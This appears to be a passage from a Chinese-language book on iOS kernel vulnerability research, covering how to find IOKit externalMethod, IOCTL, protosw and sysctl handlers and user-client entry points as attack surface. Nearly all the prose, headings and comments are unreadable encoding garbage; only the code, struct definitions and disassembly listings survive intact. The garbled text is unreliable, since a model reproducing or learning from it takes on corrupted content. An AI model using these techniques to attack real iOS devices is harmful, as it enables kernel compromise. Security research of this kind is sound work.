ࣲ੼ҁ੝థࠪឞѥஜᄉ̓ԡलၸ὚ःឞԵథʶ˓ᤇಧᄉ̓ԡलၸǌੇ ͂Ժ̯̾੼ҁᄉ̓ԡलၸध

 3੝ᇧὈǌ-9ڎݟ٧ᄉϘὋ̯Ꮺ੼ѢૈՓளЊዜᄉૈ᧪὇ߚᤜᢍR0࠘ٿὋज़ݼ

 
�3-9ڎ ࠪOSOrderedSetЊዜౝᤴѥஜᄉុၸ 
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ᤇൿԥ඼ᎃርࣿ˖Ὃܷڙ Ժ̾ᄹҁὋౝᤴѥஜᜁុၸ˧ՐૈՓЊዜழกᛪᄉૈ᧪͗በԀᜁࠑ

зЙឞࠪ៵ǌᤇಧϡ௦థၸᄉὋځ˝ᤇᝧੇ͂Ժ̾੼ҁࠪः౼˓ࠪ៵ᄉழกᛪǌڙЮನᎀ̃ߚᤈ

҃஠͇˖ὋЊዜᄉழกᛪՐ᭦঳௦ᄯଋଋᅋʶᓉዜᄉழกᛪǌᙉཨᤇ᧖ࡘᇧᄉʶѬᦏ௦ڙiOS 
4.3.5ᄉЮನ̃ᤈ҃஠͇˖ԦၶᄉὋՎಧᄉৰх˶᤟ၸ̅iOS 5Юನǌʿ᣾Ὃࠪ៵ѹݼӐథ˿ʶ̎

இԪὋځ൤iOS 5˖Փґ੊ՓՐᤜᢍ࠘٧ߚᄉϘ᜵ఝܬఽʶ̎ǌ 
థ˿ᤇ̎ζোὋဗ͂ੇڙ᤯᣾ˏ൥ୱͺ᧗तC++ዜಝǌڙኃʶ൥˖Ὃ੝థࠪOSMetaClass

ౝᤴѥஜᄉុၸᦏ͗ᜁஅᬶᡐ౎ὋӉહclassNameǋmetaclassǋsuperclass֖methodtable

ᤇ4˓ஜ૵Њገǌࠪ̅PythonᑭఴᏪᝒὋణ·ழयࡂ௦ѸतߙЦࣲ࠱metaclassͺ˝ࠚᨄ΍ၸǌ

ᤇ΍ኃ̃൥Ժ̾ᣏ௛೜ಉ੝థஅᬶҁᄉዜὋࣲౝत᤯Փྗዜᄉᩖଋǌ಩૵ᤇʶஜ૵ፆౝὋੇ͂ॡ

Ժ̾ѽၸyWorksᄉyEd Graph EditorᤇಧᄉБڎ὇ඊழឬ.gmlಪयᄉὈὋᏪᤇ̎ڎ௛ၶ੆ዜಝᄉࠓ

᠟ࢹХಉᄹὋ4-9ڎݟ੝ᇧǌidaiostoolkit˖ࡂդథ੯ᛠஞ˓ዜಝ᧗त᣾ርࣲᣤѢዜಝڎ஠͇

ᄉIDAPythonᑭఴǌ 

 

�4-9ڎ yEdፋѢ˿IOKitዜಝᄉᄯ᜹௬ᇧ 

ᬓ˿ᑞ௬ᇧIOKitዜࡎ൒ᄉᄯ᜹ᛪᇧὋዜ˧ᫍᄉፘ੽Сጆࠪ͂ੇڙIOKitዜᄉҩᑞᤈᛠᤣՓѫ

ౡௐ˶᭣࣡థၸǌథ˿ᤇ̎ζোὋੇ͂ࡂథԺᑞ೜ಉዜᄉழกᛪ˖ᄉழกὋࣲᆷྗ߿ዜ˖௦ՠ˶

΍ၸ˿ᄰՎᄉழกǌݟ౦ྗዜᄉழกᛪ˖෤థ౼ழกὋᥦ˥ߔڙዜ˖ࣂࡂፂ᧗з˿ឞழกǌᔩ੼

ҁ˿౼ழกὋᥦ˥߱௦ᄯଋ̯ྗዜፘ੽ᄉǌᤇಧὋੇ͂ࡂԺ̾Ӝѫ̎גҩᑞ௦ၿߔዜຊҪᄉǌ 
ᅻ᥊Ὃᙉཨ᯵Үርࣿఴᢵ௦ຸ᫆Ꮺ˄ʿࣛቿՁ͗ࡂIOKit᯵ҮርࣿᤈᛠᤣՓѫౡௐੇ͂ࠪڙ

ᄉὋͭ ௦IOKit۲ఴዜ௦˞Юನᄉʶᦉѫ˄ࣛథቿՁຸ֖̼ᆉǌᏪ˄ځ˝ᤇ̎ᦏ௦C++ᎃзᄉዜழ

กὋ੝̾߱͂ᄉቿՁᦏ௦᧗ஞ᣾ᄉὋ˄Ԁ΍ʿ᝺ຸ̼᫇ᆉ˶͗෹᭚ழกԓۋǌᤇ˶਒։ᅋὋ̯౼
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ፋ߿ழก෸ᅋፘ੽ಝʼᛠὋࡂԺ̾ᆷ߿ᜁ᧗зᄉழก௦ʿ௦IOKit۲ఴዜ˖ᄉழกǌڙᤇሗৰх

˖Ὃੇ͂Ժ̾ѽၸԓݼቿՁ˝ีၶᄉዜѸतளቿՁὋ̯ݟIOFlashControllerUserClientዜ

ᄉழกᛪ३ҁᄉ̾ʽᇧΒ੝ᇧὙ 
805584E8   DCD __ZN9IOService16allowPowerChangeEm+1 
805584EC   DCD __ZN9IOService17cancelPowerChangeEm+1 

805584F0   DCD __ZN9IOService15powerChangeDoneEm+1 
805584F4   DCD sub_80552B24+1 

805584F8 

DCD __ZN12IOUserClient24registerNotificationPortEP8ipc_portmy+1 

805584FC 
DCD __ZN12IOUserClient12initWithTaskEP4taskPvmP12OSDictionary+1 

ཨՐὋ࠱ФˀྗዜIOUserClientᄉழกᛪཱࠪὋ;͗ࡂԦဗᜁ᧗зழกᄉԓݼቿՁὙ 
80270120   DCD __ZN9IOService16allowPowerChangeEm+1 

80270124   DCD __ZN9IOService17cancelPowerChangeEm+1 
80270128   DCD __ZN9IOService15powerChangeDoneEm+1 
8027012C   DCD 

__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArguments 

           P24IOExternalMethodDispatchP8OSObjectPv+1 

80270130   DCD 

__ZN12IOUserClient24registerNotificationPortEP8ipc_portmy+1 
80270134   DCD 

__ZN12IOUserClient12initWithTaskEP4taskPvmP12OSDictionary+1 

ᜁ᧗зᄉழกՏ˝externalMethodὋᏪ˄ڙᤈʶ൥ুܬ὇demanglingὈឞቿՁՐὋੇ͂ࡂ

͗३ҁ߱߸ஞᄉԓۋὙ 

externalMethod(unsigned int, IOExternalMethodArguments *, 
IOExternalMethodDispatch *, OSObject *, void *) 

˖ᆉຸ̼ݼᄉழกణథԺᑞ௦ԓܪ0x80552B24ڦڠᅻ᥊ὋڙဗࠑՐὋܷࠓᝌҁᤇ̎Ю˿ڙ

ᄉIOFlashControllerUserClient::externalMethod()ុၸᄉǌᤇʶཁ௦ॡݝफຌഁᄉὋ

� ੼໣วǌࠬݼ൤ੇ͂Ժ̯̾߱धځឞழกଡΘ˿ၸਖ਼ቆᫍᄉ̼ᆉԺ̾ᄯଋុၸᄉழกὋ˝ځ

9.3.2� ೼ݙḌᠽሩЁᇏᡒⓣ⋲ 

ՉሗୱͺጆፑᄉЮನੰࡘ˖ణ࣡᜸ᄉ໣ว௦ࣂڙซбߙቿ᝹ܫ੊ڰ᝹ܫᄉIOCTLߔူܪΒ

ር˖Ѣဗᄉᩱឧǌਆ੼ҁᤇ̎໣วὋᯪЎ᜵ͮ߿੝థࣂซбᄉ᝹ܫὋཨՐ͂߱ͮ߿ᄉIOCTLူܪ

ርࣿǌ̯̃ᤈ҃ጞѾᄹὋᤇԺ̾ॅፆ˝ಉ੼ࠪcdevsw_add()ǋcdevsw_add_with_bdev()֖

bdevsw_add()ѥஜᄉុၸǌᤇ3˓ѥஜᄉ˖ඇ˓ѥஜᦏ͗ຊҪߙቿ᝹ܫǋڰ᝹ܫὋ੊௦ᤇˏሗ

᝹ܫǌڙซб᝹ܫௐὋੇ͂ॸᮋଡΘӉդథྱ߿᝹ܫ੝థူܪርࣿᄉcdevsw੊bdevswዜۋᄉፆ

ౝͳǌᤇˏሗፆౝͳᦏ͗߿˦ʶ˓ૈՓIOCTLူܪርࣿᄉѥஜૈ᧪d_ioctlǌ 

struct bdevsw { 
    open_close_fcn_t *d_open; 

    open_close_fcn_t *d_close; 

    strategy_fcn_t   *d_strategy; 
    ioctl_fcn_t      *d_ioctl; 
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    dump_fcn_t       *d_dump; 
    psize_fcn_t      *d_psize; 

    int              d_type; 

}; 
struct cdevsw { 

    open_close_fcn_t *d_open; 

    open_close_fcn_t *d_close; 
    read_write_fcn_t *d_read; 

    read_write_fcn_t *d_write; 
    ioctl_fcn_t      *d_ioctl; 

    stop_fcn_t       *d_stop; 

    reset_fcn_t      *d_reset; 

    struct tty       **d_ttys; 
    select_fcn_t     *d_select; 

    mmap_fcn_t       *d_mmap; 

    strategy_fcn_t   *d_strategy; 
    void             *d_reserved_1; 

    void             *d_reserved_2; 

    int               d_type; 
}; 

idaiostoolkit˖Ӊդ˿ʶ˓ᤇಧᄉIDAPythonᑭఴὋ߱Ժ̾ੲଠஞ˓Юನᎀ̃ߚᤈ҃஠

͇Ὃಉ੼੝థࣂซбᄉߙቿ᝹ڰ֖ܫ᝹ܫὋࣲᣤѢ߱͂ᄉIOCTLူܪርࣿǌཨՐὋੇ͂Ժ̾ࠪ੼

ҁᄉᤇ̎ူܪርࣿᤈᛠ੣ࢹ᝿ͤὋ੊ѽၸIOCTLഴዹ٧౎ஈѣ߱͂ǌ 
᜵ڙЮನੰࡘ˖ಉ੼໣วὋੇ ͂ᤆԺ̾ڙˀ߱͂ຊҪᄉᎩፎӨᝫࠪःᄉူܪርࣿ˖ಉ੼ǌඇ

ሗᎩፎӨᝫᦏդథॡܲሗԺ˝Ф೜ಉ໣วᄉူܪርࣿǌణ࣡ԩҁஈѣᄉ̼ᆉʶᓉͮ̅

setsockopt()ጆፑុၸ੝ុၸᄉူܪርࣿὋ੊௦ᝌౡ͛ЙᎩፎӉᄉူܪርࣿ˖ǌ᜵੼Ѣᤇ̎໣

วὋܷࠑॸᮋᯪЎ̼ڙᆉ˖੼ҁซбᎩፎӨᝫᄉڠழǌ̯̃ᤈ҃ጞѾ౎ᄹὋᤇࡂ௦᜵੼ҁࠪ

net_add_proto()ѥஜᄉុၸǌឞѥஜᄉኃʶ˓ԟஜ௦ૈՓprotoswፆౝͳᄉૈ᧪Ὃឞፆౝͳ

˖դథˀ᜵ซбᄉளᎩፎӨᝫథСᄉʶᓉζোὋᤆӉդ˿ૈՓ੝థឞӨᝫྱథူܪርࣿᄉѥஜૈ

᧪ǌprotoswፆౝͳᄉݟ˦߿ʽ੝ᇧὙ 

struct protosw { 
    short pr_type;              /* ໯๑ᆩڦ༫থጴૌ႙ */ 

    struct domain *pr_domain;   /* ᇘၹᅱׯڦᇵ */ 

    short pr_protocol;          /* ၹᅱՊࡽ */ 

    unsigned int pr_flags;      /* ֖९ူ௬ాڦඹ */ 

/* ၹᅱ-ၹᅱࠍጱ */ 

    void     (*pr_input)(struct mbuf *, int len); 
                            /* ၹᅱڦ๼෇Ǆٗူڟฉǅ */ 

    int (*pr_output)(struct mbuf *m, struct socket *so); 
                            /* ၹᅱڦ๼؜Ǆٗฉူڟǅ*/ 

    void (*pr_ctlinput)(int, struct sockaddr *, void *); 
                            /* ੦዆๼෇Ǆٗူڟฉǅ */ 

    int (*pr_ctloutput)(struct socket *, struct sockopt *); 
                            /* ੦዆๼؜Ǆٗฉူڟǅ) */ 

/* ᆩࢽ-ၹᅱࠍጱ */ 

    void *pr_ousrreq; 
 /* ጱࠍڦᆩ཰ܠ */
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    void (*pr_init)(void);      /* ᆩᇀ؛๔ࠍڦࣅጱ */ 

    void (*pr_unused)(void);    /* ቞࿋ޙǈfasttimoԥ෸أ */ 

    void (*pr_slowtimo)(void);  /* ஥้גڦǄ500 msǅ */ 

    void (*pr_drain)(void);     /* ൣ૙ඪࢆ੗ీܠᇆڦ੣क़ */ 

    int (*pr_sysctl)(int *, u_int, void *, size_t *, void *, size_t); 
                                /* ၹᅱڦsysctl */ 

    struct pr_usrreqs *pr_usrreqs;      /* ൽپpr_usrreq() */ 

    int (*pr_lock)(struct socket *so, int locktype, void *debug); 
                                 /* ၹᅱڦlockࡧຕ */ 

    int (*pr_unlock)(struct socket *so, int locktype, void *debug); 
                                 /* ၹᅱڦunlock */ 

    void *(*pr_getlock)(struct socket *so, int locktype); 

    ... 
}; 

Ե᜵ଋஅҁ౼ʶྱ߿Өᝫᄉஜ૵Ӊࣲᭉ᜵ᝌౡ߱Ὃੇ͂ࡂ᜵ុၸឞፆౝͳ˖߿˦ᄉ

pr_inputူܪርࣿǌឞᝌౡርࣿ˖ᄉʶ˓໣วᝧஈѣᏧԺ̾᤯᣾႙्ᄉᎩፎஜ૵ӉࠪЮನᤈᛠ

ᤉር໣วஈѣǌᤇሗ໣วі˪ࣂፂፏᤛ˿Ὃځ൤ܷڙࠑᤇൿ̼ᆉ˖௦ʿܷԺᑞ੼ҁ᫇ᮤᄉǌʿ ᣾Ὃ

iOS˖ᄉ౼˓ЮನੰࡘԺᑞ͗ຊҪʿϷಕэᎩፎӨᝫᥦಧፂ᣾ːಪࠅ᝟ᄉӨᝫǌኃ̃˓᜵Сซᄉ

ᤈᛠsetsockopt()ጆፑុၸὋੇߙଋݒᄉۋርࣿǌԵ᜵ࠪឞӨᝫዜူܪൿ௦pr_ctloutputߙ

ርࣿǌзͺఴ˹˧ௐὋᤇሗ໣วᄉణள಴Β௦ၸ౎˝iOS 4.3ҁiOS 4.3.3ᡔ࿜ᄉူܪ᜵ុၸឞࡂ͂

Юನ໣วஈѣርࣿǌឞ໣ว௦ndrv὇NetDriveὈӨᝫᄉpr_ctloutputူܪርࣿ˖ၸ̅Юߚѫᦠ

ᄉஞஜ˱กԦၶᄉຼѢǌ 
Юನੰࡘ˖ኃʻ˓࣡Ѣဗ໣วᄉڠழ௦sysctlଋԯǌឞଋԯᄉͺၸ௦ᝧЮನ֖ЮನੰࡘԺ

̾˝ХథՋ᤟ాᬌᄉᤈርଡΘࠪЮನ࿃খԪ᧙ᄉឳз᝺᫇ǌਆซбளᄉsysctlԪ᧙Ὃ;ࡂॸᮋ

ុၸЮನѥஜsysctl_register_old()Ὃ߿࠱˦ளЮನ࿃খԪ᧙ᄉsysctl_oidፆౝͳၸͺԟ

ஜǌ᤯᣾ڙЮನᎀߚ˖ಉ੼੝థࠪឞѥஜᄉ̓ԡलၸὋ;ࡂԺᑞ੼ҁ੝థၿЮನੰࡘซбᄉ

sysctlԪ᧙ὋཨՐ;᜵ࠪᤇ̎Ԫ᧙ᤈᛠຆЙѫౡǌ᜵ᅻ᥊sysctlԪ᧙ԺᑞलԦᄉ߶К᫇ᮤὋੇ

͂ॸᮋ˿ᝌsysctl_oidፆౝͳᄉ߿˦Ὑ 

struct sysctl_oid { 

    struct sysctl_oid_list  *oid_parent; 
    SLIST_ENTRY(sysctl_oid) oid_link; 

    int                     oid_number; 
    int                     oid_kind; 

    void                    *oid_arg1; 

    int                     oid_arg2; 

    const char              *oid_name; 
    int                     (*oid_handler) SYSCTL_HANDLER_ARGS; 

    const char              *oid_fmt; 

    const char              *oid_descr; 
    int                     oid_version; 

    int                     oid_refcnt; 

}; 

ʿᏥᘼЮನੰࡘԺᑞซбsysctlԪ᧙Ὃᝧాᬌʿܴᄉᤈርᑞܴ᝺᫇౼̎ˀ߶КథСᄉЮನ࿃

খᤇሗৰхὋsysctlԪ᧙۲ఴʼԺ̾लԦˏሗ߶К᫇ᮤǌኃʶሗ᫇ᮤˀ߿˦ᄉoid_handlerథ
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СǌЮನ˝ಕэԪ᧙ዜۋ὇ݟஞஜǋߙቿ˘֖ʿᤨ௙ϘὈ߿˦˿ʶጆѴᮔူܪ˦߿ርࣿǌᤇ̎ܪ

ူርࣿࣂፂѢဗॡˣ˿ὋᏪ˄ᦏ௦ፂ᣾ܲழࠅಉᄉǌࡂኪ᤯᣾sysctl()ጆፑុၸՓ߱͂͛ᤫ᭣

࣡᫁ᄉߙቿ˘Ὃᤇ˶ʿܷԺᑞᤴ੆ᎀуӜຼѢǌʿ᣾Ὃࠪ̅ᥦ̎ၿຸ᫆ᄉЮನੰࡘ˝᭣ಕэஜ૵

ዜۋซбᄉူܪርࣿ౎ឬὋৰхࡂʿՎ˿ǌځ൤Ὃੇ͂ణݝ௦ࠪ੝థ˝᭣ಕэஜ૵ዜူܪۋርࣿ

ซбᄉsysctlԪ᧙ᤈᛠ೜ಉὋࣲ˄ʶ߿᜵̲ጹࠅڠಉ߱͂ǌ 
ᤇ̎Ԫ᧙ူܪርࣿ˖ᄉ߶К᫇ᮤ᤯࣡͗࠭ᒰበԀԺ̾ᤈᛠ໣วஈѣᄉৰ्ὋᏪՓsysctl()

ጆፑុၸ͛ᤫ᭣กᄉϘࡂᑞᝎԦᤇሗৰ्ǌsysctlԪ᧙ᤆ͗लԦԲʶሗੇ͂ॸᮋӬ࿗ᄹय़ᄉӿ

఺ǌԵ᜵థsysctlஜ૵ᮉଡΘ˿ࠪЮನ࿃খԪ᧙ᄉз᝺᫇Ὃၸਖ਼ቆᫍᄉ̼ᆉࡂథԺᑞᄯଋஈѣ

Юನ˖΍ၸ˿ᤇ̎Ԫ᧙ᄉ̼ᆉᡸफ़ǌඊழឬὋᤇಧᄉ᫇ᮤԺᑞ௦౼˓ஞஜԪ᧙ॕֽ˿Юನ˖ѫᦠ

ᄉЮߚ᧙ǌԺ̾ୱͺឞϘᄉၸਖ਼ቆᫍᤈርࡂథԺᑞڙЮನጞᄉЮߚѫᦠ˖ᝎԦஞஜຼѢǌځ൤Ὃ

ၿ̅߶К೜ಉᄉڙߚὋඇʶ൒ࠪԺзЮನ࿃খԪ᧙ᄉЮನጞឳ᝺᫇ᦏॸᮋᤈᛠࠅನǌ 

9.3.3� ೼IOKit偅ࡼ⿟ᑣЁᇏᡒⓣ⋲ 

੊Юನఴᢵ˧˖ࠬ੼໣วᄉ᣾ር۲ఴࡘФ̴ЮನੰڙIOKit᯵Үርࣿ˖ࠬ੼໣วᄉ᣾ርˀڙ

ᄰՎǌʿ᣾Ὃځ˝IOKit᯵Үርࣿ˖΍ၸ˿C++Ὃ੝̾Ժᑞڙߚఝܲ໣วዜۋὋᤇ˖ᫍࡂӉહ᝴ܲ

ԵథC++੥థᄉ໣วዜۋὙ 
� new֖deleteᄉ΍ၸʿӛᦠὋඊݟ΍ၸdelete[]ѺᬓӬ˓ࠪ៵὚ 
� ࠪ៵ᄉ᧕உՐ΍ၸ໣ว὚ 
� ࠪ៵ዜۋу቉ᄉ໣วǌ 
ᬓ˿ᤇ̎ЦۋᄉC++໣วὋIOKit᯵Үርࣿᄉԩஈѣ᭦ఝܷὋځ˝߱͂ѽၸ˿IOKit APIὋ

ᏪឞAPI߿˦˿ᝧၸਖ਼ቆᫍ᯵ҮርࣿˀЮನጞ᯵Үርࣿᤈᛠ᤯ζᄉଋԯǌ˝˿ஂ૆ᤇʶҩᑞὋ

IOKit᯵Үርࣿॸᮋࠃဗþၸਖ਼ࠆਖ਼ቪÿὋ˶ࡂ௦ʶ˓ၿIOUserClientีၶᄉዜὋѽၸ߱ըၸ

ၸਖ਼ቆᫍᄉࢹХὋᤋଋҁ᝹ࣲܫˀФ᯵Үርࣿᤈᛠ᤯ζǌᤋଋ᝹ܫᄉ᣾ር௦̯ڙIOKitซбᮉ

˖ಉ੼ឞ᝹ܫधݼᄉǌ᜵߸੆ᤇʶࢹͺὋܷࠑᯪЎ᜵ѸतӛᦠᄉᄫेὋཨՐុၸ౼ʶ˓Ժᑞӛ

ᦠᄉѥஜǌᤇ᧖ϛ᝹ܷࠑਆ᜵ಉ੼ᄉ௦AppleRGBOUT᝹ܫὋځ˝ణᤂ౼˓Юನ໣วஈѣርࣿ

 ǌܫ๗Ԣឞ᝹ࡂ

kern_return_t kernResult; 

io_iterator_t iterator; 

kernResult = IOServiceGetMatchingServices(kIOMasterPortDefault, 
  IOServiceMatching("AppleRGBOUT"), &iterator); 

ᜈЙio_iterator_tࠪ៵Ὃឞࠪ៵Ժၸ̅ࠪ੼ҁᄉ੝థ᝹͗ࡂ˖౦੆ҩὋiteratorԪ᧙ݟ

ᤈᛠᤕ̼ǌ̋ܫ ˿३ҁኃʶ˓ӛᦠᄉ᝹ܫὋᤇ᧖᜵ុၸʶ൒IOIteratorNext()ѥஜǌݟ౦੆ҩ

ᄉពὋ߱͗ࡂᤄٿʶ˓᭣ቆᄉࠪ៵ǌ�

io_service_t service; 

service = IOIteratorNext(iterator) 
if (service != IO_OBJECT_NULL) { 

   ... 
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ၸਖ਼ቆᫍᄉࢹХဗڙԺ̾ុၸIOServiceOpen()Ὃ੩धనҫࣲᤋଋҁ᝹ܫὙ�

io_connect_t connect; 
kernResult = IOServiceOpen(service, mach_task_self(), 0, &connect); 

੝థ᧪ࠪIOKit APIᄉ໣วஈѣርࣿᦏॸᮋ̾᭣࣡ዜͪʼᤗЮࠓᄉ̼ᆉधܿǌځ˝ፏܷܲஜ

IOKit᯵Үርࣿᦏ௦ຸ᫆ᄉὋ੝ܷ̾ܲʿ͗ϷiOSᄉधຸᦉѫʶಧፂ᣾ᥦ˥ຆЙᄉࠅನὋ˶ځ൤ੇ

ណ̾᭣rootၸਖ਼ᄉᢵ͊੩ध࠼ζIOKit᯵Үርࣿ˖̮ཨ໷ᘨᅋ͔ܲ໣วǌˠΒ౎ឬὋԵ᜵ڱ͂

AppleBCMWLAN᝹ܫὋᤇࡂథԺᑞᝧiOSЮನ࢜ຳǌʶெၸਖ਼ቆᫍᄉࢹХᤋଋҁ᝹ܫὋࡂథܲ

ሗʿՎழयԺ̾ઁឞᤋଋၸ౎ˀЮನ᯵Үርࣿ᤯ζǌ�

1. 䗮䖛䆒໛ሲᗻ䖯㸠ᬏߏ 
ኃʶ్Ժᑞᄉஈѣ᤬फ़௦இԪˀ᝹ܫСᐎᄉ࡚বǌ᜵ϡҁᤇʶཁὋܷࠑ௄Ժ̾ѽၸ

IOConnectSetCFProperty()ѥஜ᝹Ꮅ౼˓ྱ࡚߿বὋ˶Ժ̾ុၸIOConnectSetCFP- 

roperties()ѥஜʶ൒ব᝹Ꮅ੝థ࡚বὋᤇڙ᯵Үርࣿᄉࡎ᭦౎ᄹѫѾ௦᜵ុၸsetProperty()

ழก֖setProperties()ழกὙ 
int myInteger = 0x55667788; 

CFNumberRef myNumber = CFNumberCreate(kCFAllocatorDefault, 
kCFNumberIntType, &myInteger); 

kernResult = IOConnectSetCFProperty(connect, CFSTR("myProp"), myNumber); 

ᤇൿ̼ᆉ͗ၸʶ˓௾᤯ᄉintԪ᧙Ѹतʶ˓ஜࠪߙ៵ὋཨՐ࠼ណઁՏ˝myPropᄉ᝹࡚ܫব

᝹Ꮅ˝ឞϘǌݟ౦᯵Үርࣿ෤థ᧗з᝹Ꮅ࡚ব੝ॸᭉᄉsetProperty()ழกὋᥦ˥ᤇʶ࠼ណ

ᄉ࡚বὋ੊ߙʿᅻ᥊థԶᤇ˓Տ߱˝ځណܾ᠋Ὃ࠼ᝧᤇ൒߿ǌЮನ᯵Үርࣿ˶Ժᑞᆷ᠋ܾ͗࠱

௦ځ˝߱యభᄉ௦ʿՎᄉࠪ៵ዜۋǌ੝ܷ̾ࠑॸᮋࠅಉsetProperty()ழกὋ᝿ͤ߱௦ݟʹ

लԦዜͪ࠱˶౦ઁʼᤗ̼ᆉνஇ੆Վௐ᝹Ꮅܲ˓࡚বὋݟᄉǌۋᥦ̎௃஌ᄉ࡚ব੊ࠪ៵ዜူܪ

᫇ᮤὙ�

int myInteger = 0x55667788; 
CFNumberRef myNumber = CFNumberCreate(kCFAllocatorDefault, 

kCFNumberIntType, &myInteger); 

kernResult = IOConnectSetCFProperties(connect, myNumber); 

ᤇ˓ྟఴᄉ̼ᆉ͗᤯᣾IOConnectSetCFProperties()ѥஜ͛ᤫឞஜࠪߙ៵ὋᏪឞѥஜణ

ጻ͗ុၸ᯵Үርࣿࠪ៵ᄉsetProperties()ழกǌ᫇ᮤ̅ڙὋᤇ᧖ᄉ̼ᆉԦᤞᄉ௦ஜࠪߙ៵Ὃ

Ꮺᤇ˓ழกਆ᜵ᄉ௦ߙЦࠪ៵ǌʿ ᣾ᤇࣲʿ௦ु҃ᄉὋځ൤௦ՠ͗࠼ڙណ౥ˠߙЦЮࠓґᆷᝢ੝

Цࠪ៵ὋӉդᄉФ̴ߙ˿ဗǌᏪ˄ὋԀ΍௦ଡΘࠃЦࠪ៵Ԩф̅Юನ᯵Үርࣿᄉߙᄉࠪ៵௦ူܪ

࡚ব˖̮ཨథԺᑞХథᮔ஧˧ܰᄉዜۋǌ�

᝹Ꮅ࡚বࣲ᭣ˀЮನ᯵Үርࣿᤈᛠ᤯ζᄉ׬ʶழयǌIOUserClientଋԯ߿ࡂ˦˿ఝ˝ᄯଋᄉ

᤯ζழกὋඊݟᄯଋᄉЮߚ௡࠰Ὃ̾Ԣܰᦉᬝ᫷֖ழกǌᙉཨథԺᑞ੼ҁၿᄯଋЮߚ௡࠰఑᭚ᄉ໣

วὋͭ௦ੇ͂ʿ͗ڙఴብ˖̭ፀᤇ̎ЮࠓὋథТᡙᄉឳᏧԺ̾ಉᄹڙФၸਖ਼ࠆਖ਼ቪࠃဗ˖᧗з˿

clientMemoryForType()ழกᄉIOKit᯵ҮርࣿὋࣲ̾൤˝ᡐཁᤈᛠఝҪຆЙᄉᆐቂǌᤇࡂӉહ

IOAccessoryPortUserClientǋ AppleMultitouchSPIUserClient֖ IOAudio2DeviceUser- 

Clientᤇі˓ዜǌ 
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2. 䗮䖛໪䚼䱋䰅੠ᮍ⊩䖯㸠ᬏߏ 
ၸਖ਼ࠆਖ਼ቪԺ̾߿˦ᄉܰᦉᬝ᫷֖ழก௦ఝࠓ௛੼ҁ໣วᄉڠழǌᤇ̎ᬝ᫷֖ழกԺ̾ᄯଋ

̯ၸਖ਼ቆᫍុၸὋᝧ᯵ҮርࣿԺ̾߸੆౼̎ᛠ˝ࣲᤄٿፆ౦ǌॡܲIOKit᯵ҮርࣿᦏՓၸਖ਼ቆᫍ

ᄉࠆਖ਼ቪଡΘ˿ᤇዜనҫǌᬝ᫷ˀழกᄉӜѾ̅ڙὋܰ ᦉᬝ᫷௦machᬝ᫷ጆፑᄉʶᦉѫὋᏪܰᦉ

ழกఝϷ௦ጥIOKitҩᑞǌIOKit᯵ҮርࣿԺ̾ՎௐଡΘᤇˏሗܰᦉଋԯǋଡΘФ˖ʶሗὋ੊௦ˏ

ᏧᦏʿଡΘǌ 
ၸਖ਼ቆᫍᄉ̼ᆉԺ̾᤯᣾ࣛథ6˓ԟஜᄉmachᬝ᫷iokit_user_client_trap()Ὃុၸၿ

ጉलڙIOKit᯵Үርࣿ˖߿˦ᄉܰᦉᬝ᫷Ὑ 

kernResult = iokit_user_client_trap(connect, index, p1, p2, 0, 0, 0, 0); 

Юನጞᄉၸਖ਼ࠆਖ਼ቪࠃဗԺ᤯᣾᧗зIOUserClinetᄉgetExternalTrapForIndex()ழ

กˀgetTargetAndTrapForIndex()ழกଡΘᤇ̎ᬝ᫷ǌᤇಧࡂԺᑞलԦˏሗ߶К᫇ᮤǌᯪЎὋ

ᤇ᧖ុၸᄉஜߙጉलڙ᯵ҮርࣿЮ௦ԩζ͉ᄉὋᏪ˄ၸͺಉ੼ᛪ˖ᄉጉलǌݟ౦ಉ੼ୱͺ΍ၸ˿

లፂ೜ಉᄉጉलὋஈѣᏧࡂథԺᑞࠪጉलҪ̾ុஞὋ΍Ф̯ஈѣᏧ߿˦ᄉЮߚᮅಉ੼ᬝ᫷ᄉѥஜ

ૈ᧪ὋᤇథԺᑞ͗ᝧஈѣᏧበԀڙЮನ˖੯ᛠ̼ᆉǌኃ̃ሗԺᑞ௦ଡΘᄉܰᦉᬝ᫷ᒬᢵХథ߶К

᫇ᮤὋځ˝߱͂ࠪᬝ᫷ԟஜܹ᣾ζ͉˿ǌځ൤Ὃੇ͂ᭉ᜵᧪ࠪᤇˏዜ߶К᫇ᮤࠪᬝ᫷ူܪርࣿᄉ

̼ᆉҪ̾ࠅಉǌ�

ܰᦉழกᄉৰхˀ൤᭣࣡ዜͪᏪ˄ጊࠚᄰСὋͭ ఝܬఽʶ̎ǌੇ ͂Ժ̾᤯᣾IOKit APIᄉܲሗ

ѥஜុၸܰᦉழกὋᤇԨф̅ਆ᜵ူܪᄉᣤЙ֖ᣤѢԟஜᄉஜ᧙֖ዜۋǌ಩૵IOKit APIྟఴᄉʿ

ՎὋథܲሗAPIѥஜԺၸ̅ុၸܰᦉழกǌʿ᣾ੇ͂͗ઁዴҦᬶ˖̼̬ॆڙᆉ˖ణ࣡᜸ᄉܰᦉழ

กុၸழयʼὋࡂ௦ѽၸIOConnectCallMethod()ѥஜὙ 

kern_return_t 

IOConnectCallMethod( 
    mach_port_t     connection,         //๼෇ 

    uint32_t        selector,           //๼෇ 

    const uint64_t  *input,             //๼෇ 

    uint32_t        inputCnt,           //๼෇ 

    const void      *inputStruct,       //๼෇ 

    size_t          inputStructCnt,     //๼෇ 

    uint64_t        *output,            //๼؜ 

    uint32_t        *outputCnt,         //๼෇/๼؜ 

    void            *outputStruct,      //๼؜ 

    size_t          *outputStructCnt)   //๼෇/๼؜ 

AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; 

ឞѥஜុၸၸҁ˿Ժ̾ଡΘࣸคၸ᤬ᄉܷ᧙ԟஜǌґˏ˓ԟஜ߿˦˿ҁ᯵Үርࣿᄉᤋଋ֖ᜁ

ុၸѥஜᄉஜߙጉलǌଋʽ౎ᄉ4˓ԟஜଠᤗ˿ᣤЙឞܰᦉழกᄉԟஜὋᏪқʽᄉ4˓ԟஜଠᤗ˿

ԺᑞᄉᣤѢԟஜǌᣤЙ֖ᣤѢՉథˏሗԟஜዜۋὙಕ᧙֖ፆౝͳǌಕ᧙ԟஜ௦64ͮᄉஞஜὋᏪፆ

ౝͳԟஜ௦ಪयԵథЮನ᯵ҮርࣿԢФၸਖ਼ቆᫍࠆਖ਼ቪᅻ᥊ᄉ͉਒ஜ૵ፆౝǌಕ᧙ᣤЙ֖ᣤѢԟ

